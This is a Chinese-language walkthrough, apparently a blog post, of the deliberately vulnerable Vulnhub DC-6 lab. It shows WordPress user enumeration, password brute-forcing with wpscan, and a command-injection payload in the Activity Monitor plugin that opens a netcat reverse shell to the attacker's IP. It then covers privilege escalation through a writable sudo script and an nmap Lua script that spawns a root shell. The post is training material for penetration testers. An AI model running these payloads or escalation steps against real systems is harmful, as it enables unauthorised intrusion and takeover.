Vulnhub靶機(jī)入門系列DC:6

DC-6

題目描述

DC-6 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
This isn't an overly difficult challenge so should be great for beginners.
The ultimate goal of this challenge is to get root and to read the one and only flag.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

NOTE: You WILL need to edit your hosts file on your pentesting device so that it reads something like:
192.168.0.142 wordy

Clue
OK, this isn't really a clue as such, but more of some "we don't want to spend five years waiting for a certain process to finish" kind of advice for those who just want to get on with the job.
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt

描述中說到和之前一樣只有一個Flag,并且需要配置一下HOSTS,且給了提示

cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt

知識點總結(jié)

? ①掃描

? ②使用wpscan工具枚舉用戶,結(jié)合提示生成字典進(jìn)行爆破密碼

? ③利用網(wǎng)站插件的命令執(zhí)行漏洞反彈shell

? ④根據(jù)每個用戶可以執(zhí)行的操作進(jìn)行提權(quán)

? ⑤nmap提權(quán)

1.掃描局域網(wǎng)主機(jī)

arp-scan -l
image

目標(biāo)IP為:192.168.2.132

2.掃描端口

nmap -sV -p- 192.168.2.132

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))

可以看到開放了ssh端口和web端口

3.配置hosts

題目描述已經(jīng)說了,我們需要配置一下hosts文件

Windows下在 C:\windows\system32\drivers\etc\hosts

打開后在末尾添加

192.168.2.132  wordy

Linux下在/etc/hosts

vim /etc/hosts
添加  192.168.2.132  wordy

4.訪問web

image
image

是一個WordPress網(wǎng)站,kali有專門的掃描工具wpscan,我們可以使用工具掃描一下

在掃描之前先來掃一下目錄

5.使用dirsearch掃描目錄

image

發(fā)現(xiàn)的登錄地址

6.使用wpscan掃描用戶

wpscan --url http://wordy/  -e u
image

發(fā)現(xiàn)了這幾個用戶,我們將用戶保存到dc6-username.txt中

admin,mark,graham,sarah,jens
image

7.對用戶密碼進(jìn)行爆破

我們使用cewl來生成字典

cewl -w /root/dc6-passwd.txt http://wordy/

開始爆破

wpscan --url http://wordy/ -U dc6-username.txt -P dc6-passwd.txt
image

但是這里顯示沒有找到密碼,于是我們想到剛開始的時候提示有密碼

cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt

將rockyou.txt里面的帶有k01的面找出來

我們先查看一下rockyou.txt

image

這里確實有這個字典,將帶有k01的密碼導(dǎo)出來

image

然后進(jìn)行爆破

wpscan --url http://wordy/ -U dc6-username.txt -P dc6-passwd.txt
image

找到了mark的密碼為:helpdesk01

登錄后臺發(fā)現(xiàn)有一個插件

image

也可以通過wpscan掃描插件

wpscan --url http://wordy --plugins-detection aggressive
image

8.利用插件漏洞來getshell

首先百度查一下activity-monitor漏洞

image

可以看到有命令執(zhí)行漏洞

我們用kali的searchsploit來查找漏洞

searchsploit activity monitor 
image
#將html文件復(fù)制到root目錄
cp /usr/share/exploitdb/exploits/php/webapps/45274.html  45274.html
#拷貝一份
cp 45274.html 45274.html.bak
#修改一下html內(nèi)容,將反彈ip改成kali的,提交申請改為目標(biāo)網(wǎng)站
vi 45274.html
image

然后直接打開網(wǎng)頁提交,這里不知道為什么獲取不到shell,研究一下exp然后去網(wǎng)頁上自己實現(xiàn)

這里是在activity的插件頁面的tools分類里邊

image

填I(lǐng)P的地方有個命令執(zhí)行,我們測試一下

image

(這里因為填I(lǐng)P的地方對長度有限制所以前邊的127.0.0.1刪掉了一部分)

image

可以看到whoami的命令已經(jīng)被執(zhí)行,我們在這里反彈一個shell,但是我們的shell長度有點長,使用F12修改輸入的長度


image

然后在kali上監(jiān)聽

#kali
nc -lvp 1234
#發(fā)送payload
1|nc -e /bin/sh 192.168.2.135 1234

可以看到已經(jīng)獲取shell了

image

同樣,切換一下shell外殼

python -c 'import pty;pty.spawn("/bin/bash")'
image

先看看這里都有什么文件,進(jìn)入到home目錄下當(dāng)前用戶的文件夾

image

發(fā)現(xiàn)一個txt

image

發(fā)現(xiàn)了graham的密碼

graham - GSo7isUM1D4

切換到這個用戶

image

先查看一下有沒有suid提權(quán) 發(fā)現(xiàn)沒有 再使用sudo -l看一下可以執(zhí)行的命令

image

可以使用jens用戶來執(zhí)行這個.sh文件
查看一下這個腳本是什么內(nèi)容

image

既然我們可以執(zhí)行這個腳本,我們把/bin/bash放入腳本里,以jens用戶執(zhí)行后 就相當(dāng)于獲取了jens的權(quán)限

echo "/bin/bash" >> backups.sh
image

已經(jīng)寫進(jìn)去了

然后以jens用戶執(zhí)行

sudo -u jens ./backups.sh
image

已經(jīng)切換到j(luò)ens用戶

再使用sudo -l 查看一下可以執(zhí)行的操作

image

可以使用nmap,由于nmap是可以執(zhí)行腳本的,我們把root的shell放入腳本里讓nmap執(zhí)行也就相當(dāng)于獲取了root的權(quán)限

#寫入shell
echo 'os.execute("/bin/sh")' > Shell
#name使用script執(zhí)行腳本
sudo  nmap  --script=shell
image

獲取root權(quán)限,查看flag

image
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 標(biāo)簽:WordPress、rbash、爆破、git提權(quán) 0x00 環(huán)境準(zhǔn)備 下載地址:https://www.vu...
    z1掛東南閱讀 898評論 0 1
  • 靶機(jī)描述 Description DC-6 is another purposely built vulnerab...
    xioooZorro閱讀 813評論 0 1
  • DC-5 ? 題目描述: 描述中說到something that changes with a refr...
    Const_L閱讀 637評論 0 1
  • 標(biāo)簽:爆破、WordPress、Activity monitor插件、反彈shell、水平越權(quán)、nmap提權(quán)l(xiāng)in...
    z1掛東南閱讀 1,371評論 0 1
  • 久違的晴天,家長會。 家長大會開好到教室時,離放學(xué)已經(jīng)沒多少時間了。班主任說已經(jīng)安排了三個家長分享經(jīng)驗。 放學(xué)鈴聲...
    飄雪兒5閱讀 7,818評論 16 22

友情鏈接更多精彩內(nèi)容